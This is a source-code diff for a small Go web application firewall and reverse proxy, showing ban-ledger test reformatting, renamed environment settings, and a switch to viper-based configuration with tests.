netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)} permanent := bans.Ban{
Netblock: netblock,
Start: midnight().Add(-time.Hour),
}
ended := bans.Ban{ ended := bans.Ban{
Netblock: netblock, Netblock: netblock,
Start: midnight(), Start: midnight(),
Expires: midnight().Add(time.Hour), Expires: midnight().Add(time.Hour),
} }
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{permanent, ended}) ledger.Load([]bans.Ban{permanent, ended})
now := midnight().Add(2 * time.Hour) now := midnight().Add(2 * time.Hour)
@@ -153,27 +183,38 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
ban, banned, _ := ledger.Find(client, now) ban, banned, _ := ledger.Find(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned) t.Errorf(
"find gives %+v and %t, want the permanent ban",
ban,
banned,
)
} }
ban, banned, _ = ledger.Check(client, now) ban, banned, _ = ledger.Check(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf("the client is refused: %t, under %+v, want under the permanent ban", t.Errorf(
banned, ban) "the client is refused: %t, under %+v, want under the permanent ban",
banned,
ban,
)
} }
// A limit broken now makes no shorter ban over the permanent one. // A limit broken now makes no shorter ban over the permanent one.
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 { if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+ t.Errorf(
"want the permanent ban and 2", ban, len(ledger.Bans(netblock))) "a broken limit returned %+v and left the netblock %d bans, "+
"want the permanent ban and 2",
ban,
len(ledger.Bans(netblock)),
)
} }
} }
func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
t.Parallel() t.Parallel()
// A 9-hour ban smallwebwaf made, the third in a row, and an admin's // A 9-hour ban sww made, the third in a row, and an admin's
// 1-hour ban added to bans.json over it, with no cause and no notes. // 1-hour ban added to bans.json over it, with no cause and no notes.
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
nineHours := bans.Ban{ nineHours := bans.Ban{
@@ -189,13 +230,17 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
Expires: midnight().Add(2 * time.Hour), Expires: midnight().Add(2 * time.Hour),
} }
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{nineHours, admins}) ledger.Load([]bans.Ban{nineHours, admins})
// Once both have ended, a limit broken within the repeat window bans // Once both have ended, a limit broken within the repeat window bans
// for three times the 9 hours, and the notes count the two bans // for three times the 9 hours, and the notes count the two bans
// before the 9-hour one and it, for a limit, and the admin's. // before the 9-hour one and it, for a limit, and the admin's.
ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{}) ban, _ := ledger.BanForLimit(
netblock,
nineHours.Expires.Add(time.Hour),
bans.Notes{},
)
if ban.Expires.Sub(ban.Start) != 27*time.Hour || if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, "+ t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -219,14 +264,17 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
Cause: bans.CauseLimit, Cause: bans.CauseLimit,
} }
rules := defaultRules() params := defaultParams()
rules.MaxBans = 1 params.MaxBans = 1
ledger := bans.New(rules) ledger := bans.New(params)
ledger.Load([]bans.Ban{later, earlier}) ledger.Load([]bans.Ban{later, earlier})
held := ledger.Snapshot() held := ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], later) { if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
t.Errorf("the ledger holds %+v, want only the ban that began later", held) t.Errorf(
"the ledger holds %+v, want only the ban that began later",
held,
)
} }
} }
@@ -235,9 +283,9 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
// Room for three bans, so that the second load, were it added to the // Room for three bans, so that the second load, were it added to the
// two bans held, would drop none of them to make room. // two bans held, would drop none of them to make room.
rules := defaultRules() params := defaultParams()
rules.MaxBans = 3 params.MaxBans = 3
ledger := bans.New(rules) ledger := bans.New(params)
kept := bans.Ban{ kept := bans.Ban{
Netblock: netip.MustParsePrefix("2001:db8::/64"), Netblock: netip.MustParsePrefix("2001:db8::/64"),
Start: midnight(), Start: midnight(),
@@ -256,16 +304,25 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
// bans.json is taken in, that ban is lifted. // bans.json is taken in, that ban is lifted.
ledger.Load([]bans.Ban{kept}) ledger.Load([]bans.Ban{kept})
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight()) _, banned, _ := ledger.Check(
netip.MustParseAddr("203.0.113.9"),
midnight(),
)
if banned { if banned {
t.Error("a ban left out of the second load still refuses") t.Error("a ban left out of the second load still refuses")
} }
// The ledger holds one ban, so it makes two more without dropping any. // The ledger holds one ban, so it makes two more without dropping any.
first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), first, _ := ledger.BanForLimit(
bans.Notes{}) netip.MustParsePrefix("198.51.100.7/32"),
second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(), midnight(),
bans.Notes{}) bans.Notes{},
)
second, _ := ledger.BanForLimit(
netip.MustParsePrefix("198.51.100.8/32"),
midnight(),
bans.Notes{},
)
want := []bans.Ban{first, second, kept} want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) { if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
@@ -285,7 +342,7 @@ func TestLoadCutsTheTextsTo256Bytes(t *testing.T) {
}}, }},
} }
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ban}) ledger.Load([]bans.Ban{ban})
cut := long[:256] cut := long[:256]
+53 -1925
View File
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+16
View File
@@ -0,0 +1,16 @@
// Package configtest gives the tests of the packages that read settings the
// settings they choose.
package configtest
import "github.com/spf13/viper"
// Viper returns a viper holding each of settings, as the viper config.NewViper
// returns holds a process's environment.
func Viper(settings map[string]string) *viper.Viper {
v := viper.New()
for name, value := range settings {
v.Set(name, value)
}
return v
}
+114 -82
View File
@@ -4,42 +4,44 @@ import (
"errors" "errors"
"fmt" "fmt"
"log/slog" "log/slog"
"math"
"net/netip" "net/netip"
"net/url" "net/url"
"strconv" "strconv"
"strings"
"time" "time"
"github.com/spf13/viper"
) )
// RProxy is the settings of `smallwebwaf rproxy`. A size or time limit of zero // RProxy is the settings of `sww rproxy`. A size or time limit of zero
// is off. // is off.
type RProxy struct { type RProxy struct {
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR). // ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR).
ListenAddr string ListenAddr string
// UpstreamURL is the app (SWRP_UPSTREAM_URL). // UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL).
UpstreamURL *url.URL UpstreamURL *url.URL
// TrustedProxies are the netblocks whose X-Forwarded-For is believed // TrustedProxies are the netblocks whose X-Forwarded-For is believed
// (SWRP_TRUSTED_PROXIES). // (SWW_RPROXY_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix TrustedProxies []netip.Prefix
// WAFBackend is servewaf's URL (SWRP_WAF_BACKEND). // WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
WAFBackend *url.URL WAFBackend *url.URL
// Timeout is how long rproxy waits for servewaf's answer to a question, // WAFBackendTimeout is how long rproxy waits for waf's answer to a
// and to a report (SWRP_TIMEOUT_MS). It cannot be off. // question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It
Timeout time.Duration // cannot be off.
// DefaultDisposition is what is done with a request when servewaf cannot be WAFBackendTimeout time.Duration
// connected to, does not answer at all, or does not answer within Timeout: // WAFBackendNoAnswerDisposition is what is done with a request when waf
// allow or deny (SWRP_DEFAULT_DISPOSITION). // cannot be connected to, does not answer at all, or does not answer
DefaultDisposition string // within WAFBackendTimeout: allow or deny
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and // (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION).
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE). WAFBackendNoAnswerDisposition string
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
MaxRequestSize int64 MaxRequestSize int64
MaxResponseSize int64 MaxResponseSize int64
// MaxRequestTime bounds sending the whole request: the visitor's request // MaxRequestTime bounds sending the whole request: the visitor's request
// line and headers, and then, from their end, its body on its way to the // line and headers, and then, from their end, its body on its way to the
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from // app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
// the end of the request to its last byte reaching the visitor // the end of the request to its last byte reaching the visitor
// (SWRP_MAX_RESPONSE_TIME_MS). // (SWW_RPROXY_MAX_RESPONSE_TIME_MS).
MaxRequestTime time.Duration MaxRequestTime time.Duration
MaxResponseTime time.Duration MaxResponseTime time.Duration
@@ -48,34 +50,62 @@ type RProxy struct {
settings []slog.Attr settings []slog.Attr
} }
// defaultUpstreamURL is the default of SWW_RPROXY_UPSTREAM_URL.
const defaultUpstreamURL = "http://127.0.0.1:8081"
// privateRanges are the private address ranges, the default trusted
// proxies.
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
var ( var (
errNotUpstreamURL = errors.New(
"is not a URL with only a scheme, a host and an optional port, " +
"such as http://127.0.0.1:8081")
errNeedsWAFBackend = errors.New( errNeedsWAFBackend = errors.New(
"is required: it is servewaf's URL, such as http://servewaf:8080") "is required: it is waf's URL, such as http://waf:8080")
errNotDisposition = errors.New("is not allow or deny") errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New( errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off") "is not a whole number of milliseconds above zero, such as 60000, or off",
)
) )
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally // RProxyFromEnvironment reads rproxy's settings through v, normally the viper
// os.LookupEnv. A setting that is not set takes its default, and // NewViper returns, bound to the process's environment. A setting that is not
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but // set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be
// invalid is an error that names it. Since rproxy never touches disk, its // set. A setting may instead be given as a file: the variable named by the
// settings have no _FILE form. // setting's name with _FILE added names the file, which is read now. A setting
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) { // that is set but invalid is an error that names it.
env := &environment{lookupEnv: withoutFileForms(lookupEnv)} func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
env := &environment{v: v}
cfg := &RProxy{ cfg := &RProxy{
ListenAddr: env.address("SWRP_LISTEN_ADDR"), ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"),
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL), UpstreamURL: env.appURL(
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges), "SWW_RPROXY_UPSTREAM_URL",
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"), defaultUpstreamURL,
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"), ),
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"), TrustedProxies: env.netblocks(
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"), "SWW_RPROXY_TRUSTED_PROXIES",
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"), privateRanges,
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"), ),
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"), WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
WAFBackendTimeout: env.milliseconds(
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS",
"2000",
),
WAFBackendNoAnswerDisposition: env.disposition(
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
"allow",
),
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff(
"SWW_RPROXY_MAX_REQUEST_TIME_MS",
"60000",
),
MaxResponseTime: env.millisecondsOrOff(
"SWW_RPROXY_MAX_RESPONSE_TIME_MS",
"1800000",
),
} }
if env.err != nil { if env.err != nil {
@@ -87,15 +117,15 @@ func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, erro
return cfg, nil return cfg, nil
} }
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and // RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other // SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other
// setting, so it reads no other. // setting, so it reads no other.
func RProxyListenAddrAndUpstreamURL( func RProxyListenAddrAndUpstreamURL(
lookupEnv func(string) (string, bool), v *viper.Viper,
) (string, *url.URL, error) { ) (string, *url.URL, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)} env := &environment{v: v}
listenAddr := env.address("SWRP_LISTEN_ADDR") listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR")
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL) upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL)
if env.err != nil { if env.err != nil {
return "", nil, env.err return "", nil, env.err
@@ -104,27 +134,21 @@ func RProxyListenAddrAndUpstreamURL(
return listenAddr, upstreamURL, nil return listenAddr, upstreamURL, nil
} }
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
// rproxy never touches disk.
func withoutFileForms(
lookupEnv func(string) (string, bool),
) func(string) (string, bool) {
return func(name string) (string, bool) {
if strings.HasSuffix(name, "_FILE") {
return "", false
}
return lookupEnv(name)
}
}
// LogValue makes an RProxy log as each setting's name with the value it was // LogValue makes an RProxy log as each setting's name with the value it was
// given, or its default. // given, or its default.
func (c *RProxy) LogValue() slog.Value { func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...) return slog.GroupValue(c.settings...)
} }
// wafBackend reads the setting that is servewaf's URL, which must be set. // appURL reads a setting that is the app's URL.
func (e *environment) appURL(name, defaultValue string) *url.URL {
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
e.check(name, err)
return upstream
}
// wafBackend reads the setting that is waf's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL { func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "") value := e.value(name, "")
if value == "" { if value == "" {
@@ -139,7 +163,7 @@ func (e *environment) wafBackend(name string) *url.URL {
return backend return backend
} }
// disposition reads the setting that is what is done with a request when servewaf // disposition reads the setting that is what is done with a request when waf
// cannot be connected to, does not answer at all, or does not answer in time: // cannot be connected to, does not answer at all, or does not answer in time:
// allow or deny. // allow or deny.
func (e *environment) disposition(name, defaultValue string) string { func (e *environment) disposition(name, defaultValue string) string {
@@ -151,22 +175,11 @@ func (e *environment) disposition(name, defaultValue string) string {
return value return value
} }
// milliseconds reads a setting that is a whole number of milliseconds above
// zero.
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
}
return duration
}
// millisecondsOrOff reads a setting that is a whole number of milliseconds // millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0. // above zero, or off, which is 0.
func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration { func (e *environment) millisecondsOrOff(
name, defaultValue string,
) time.Duration {
value := e.value(name, defaultValue) value := e.value(name, defaultValue)
if value == off { if value == off {
return 0 return 0
@@ -180,13 +193,32 @@ func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration
return duration return duration
} }
// parseMilliseconds reads a whole number of milliseconds above zero, and // parseUpstreamURL reads the app's URL: http or https, a host and an
// reports whether it is one. // optional port from 1 to 65535, and nothing else, since the request's
func parseMilliseconds(value string) (time.Duration, bool) { // own path and query go to the app unchanged.
n, err := strconv.ParseInt(value, 10, 64) func parseUpstreamURL(value string) (*url.URL, error) {
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) { upstream, err := url.Parse(value)
return 0, false if err != nil {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
} }
return time.Duration(n) * time.Millisecond, true onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
upstream.Hostname() != "" &&
upstream.User == nil &&
upstream.Opaque == "" &&
(upstream.Path == "" || upstream.Path == "/") &&
upstream.RawQuery == "" &&
upstream.Fragment == ""
if !onlySchemeAndHost {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
if upstream.Port() != "" {
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
if err != nil || port == 0 {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
}
return upstream, nil
} }
+83 -56
View File
@@ -10,33 +10,30 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
) )
// rproxy's settings, by name, and their values in these tests. // rproxy's settings, by name, and their values in these tests.
const ( const (
wafBackend = "SWRP_WAF_BACKEND" wafBackend = "SWW_RPROXY_WAF_BACKEND"
rproxyTimeout = "SWRP_TIMEOUT_MS" wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
rproxyDefault = "SWRP_DEFAULT_DISPOSITION" rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
rproxyListen = "SWRP_LISTEN_ADDR" rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWRP_UPSTREAM_URL" rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
rproxyTrusted = "SWRP_TRUSTED_PROXIES" rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE" rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE" rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS" rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS" rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
backendURL = "http://servewaf:8080" backendURL = "http://waf:8080"
rproxyDefaultAddr = ":8080" rproxyNoAnswerAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081" rproxyNoAnswerApp = "http://127.0.0.1:8081"
notASize = "a lot" notASize = "a lot"
) )
// rproxyConfig reads rproxy's settings from env. // rproxyConfig reads rproxy's settings from env.
func rproxyConfig(env map[string]string) (*config.RProxy, error) { func rproxyConfig(env map[string]string) (*config.RProxy, error) {
return config.RProxyFromEnvironment(func(name string) (string, bool) { return config.RProxyFromEnvironment(configtest.Viper(env))
value, ok := env[name]
return value, ok
})
} }
func TestRProxyDefaults(t *testing.T) { func TestRProxyDefaults(t *testing.T) {
@@ -47,21 +44,32 @@ func TestRProxyDefaults(t *testing.T) {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
if cfg.ListenAddr != rproxyDefaultAddr || if cfg.ListenAddr != rproxyNoAnswerAddr ||
cfg.UpstreamURL.String() != rproxyDefaultApp || cfg.UpstreamURL.String() != rproxyNoAnswerApp ||
cfg.WAFBackend.String() != backendURL { cfg.WAFBackend.String() != backendURL {
t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend) t.Errorf(
"addresses %q, %v, %v",
cfg.ListenAddr,
cfg.UpstreamURL,
cfg.WAFBackend,
)
} }
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" { if cfg.WAFBackendTimeout != 2*time.Second ||
t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition) cfg.WAFBackendNoAnswerDisposition != "allow" {
t.Errorf(
"waf backend timeout %v, no-answer disposition %q",
cfg.WAFBackendTimeout,
cfg.WAFBackendNoAnswerDisposition,
)
} }
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 { if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize) t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
} }
if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute { if cfg.MaxRequestTime != time.Minute ||
cfg.MaxResponseTime != 30*time.Minute {
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime) t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
} }
@@ -83,8 +91,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
rproxyListen: ":9000", rproxyListen: ":9000",
rproxyUpstream: "http://app:3000", rproxyUpstream: "http://app:3000",
rproxyTrusted: "192.0.2.0/24", rproxyTrusted: "192.0.2.0/24",
rproxyTimeout: "150", wafBackendTimeout: "150",
rproxyDefault: "deny", rproxyNoAnswer: "deny",
rproxyMaxRequest: "1K", rproxyMaxRequest: "1K",
rproxyMaxResponse: off, rproxyMaxResponse: off,
rproxyRequestTime: off, rproxyRequestTime: off,
@@ -100,9 +108,12 @@ func TestRProxySettingsAreRead(t *testing.T) {
t.Errorf("addresses %+v", cfg) t.Errorf("addresses %+v", cfg)
} }
if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" || if cfg.WAFBackendTimeout != 150*time.Millisecond ||
cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 || cfg.WAFBackendNoAnswerDisposition != "deny" ||
cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond { cfg.MaxRequestSize != 1024 ||
cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 ||
cfg.MaxResponseTime != 250*time.Millisecond {
t.Errorf("limits %+v", cfg) t.Errorf("limits %+v", cfg)
} }
} }
@@ -114,15 +125,15 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
name, value string name, value string
}{ }{
{wafBackend, ""}, {wafBackend, ""},
{wafBackend, "servewaf:8080"}, {wafBackend, "waf:8080"},
{wafBackend, "http://servewaf:8080/path"}, {wafBackend, "http://waf:8080/path"},
{rproxyTimeout, "0"}, {wafBackendTimeout, "0"},
{rproxyTimeout, "-1"}, {wafBackendTimeout, "-1"},
{rproxyTimeout, off}, {wafBackendTimeout, off},
{rproxyTimeout, "2s"}, {wafBackendTimeout, "2s"},
{rproxyTimeout, "1.25"}, {wafBackendTimeout, "1.25"},
{rproxyTimeout, "99999999999999999"}, {wafBackendTimeout, "99999999999999999"},
{rproxyDefault, "maybe"}, {rproxyNoAnswer, "maybe"},
{rproxyListen, "8080"}, {rproxyListen, "8080"},
{rproxyUpstream, "app"}, {rproxyUpstream, "app"},
{rproxyUpstream, "127.0.0.1:8081"}, {rproxyUpstream, "127.0.0.1:8081"},
@@ -147,7 +158,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value}) _, err := rproxyConfig(
map[string]string{wafBackend: backendURL, tc.name: tc.value},
)
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
t.Errorf("error %v, want one naming %s", err, tc.name) t.Errorf("error %v, want one naming %s", err, tc.name)
} }
@@ -158,7 +171,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
t.Parallel() t.Parallel()
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""}) cfg, err := rproxyConfig(
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
)
if err != nil { if err != nil {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
@@ -172,36 +187,47 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig(nil) _, err := rproxyConfig(nil)
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") { if err == nil ||
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want one saying %s is required", err, wafBackend) t.Errorf("error %v, want one saying %s is required", err, wafBackend)
} }
} }
func TestRProxyReadsNoFile(t *testing.T) { func TestRProxySettingReadFromFile(t *testing.T) {
t.Parallel() t.Parallel()
path := filepath.Join(t.TempDir(), "backend") path := filepath.Join(t.TempDir(), "backend")
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600) err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600)
if err != nil { if err != nil {
t.Fatalf("write: %v", err) t.Fatalf("write: %v", err)
} }
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path}) cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path})
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want %s still required", err, wafBackend)
}
cfg, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": "/nonexistent/timeout",
})
if err != nil { if err != nil {
t.Fatalf("settings: %v, with the file left unread", err) t.Fatalf("settings: %v", err)
} }
if cfg.Timeout != 2*time.Second { if cfg.WAFBackend.String() != backendURL {
t.Errorf("timeout %v, want the default", cfg.Timeout) t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL)
}
}
func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
t.Parallel()
dir := t.TempDir()
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
wafBackendTimeout + "_FILE": path,
})
want := wafBackendTimeout + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) {
t.Errorf("%s: error %v, want one starting %s", path, err, want)
}
} }
} }
@@ -221,7 +247,8 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
} }
for _, name := range []string{ for _, name := range []string{
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault, rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
rproxyNoAnswer,
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime, rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
} { } {
if !slices.Contains(names, name) { if !slices.Contains(names, name) {
+16
View File
@@ -0,0 +1,16 @@
package config
import "github.com/spf13/viper"
// NewViper returns the viper that reads the settings: each setting's
// environment variable, bound to its own name. Every setting of waf
// and rproxy is read through it, and none is read with os.Getenv or
// os.LookupEnv outside it. An environment variable that is set but empty is
// set, as one that holds a value is, which viper does not take for granted.
func NewViper() *viper.Viper {
v := viper.New()
v.AutomaticEnv()
v.AllowEmptyEnv(true)
return v
}
+34
View File
@@ -0,0 +1,34 @@
package config_test
import (
"testing"
"sneak.berlin/go/smallwebwaf/internal/config"
)
// These tests set real environment variables, so none runs in parallel.
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
t.Setenv(adminToken, "")
_, err := config.WAFFromEnvironment(config.NewViper())
want := adminToken + ": is shorter than 32 characters"
if err == nil || err.Error() != want {
t.Fatalf("error %v, want %s", err, want)
}
}
func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) {
t.Setenv(wafBackend, backendURL)
t.Setenv(rproxyTrusted, "")
cfg, err := config.RProxyFromEnvironment(config.NewViper())
if err != nil {
t.Fatalf("settings: %v", err)
}
if len(cfg.TrustedProxies) != 0 {
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+581
View File
@@ -0,0 +1,581 @@
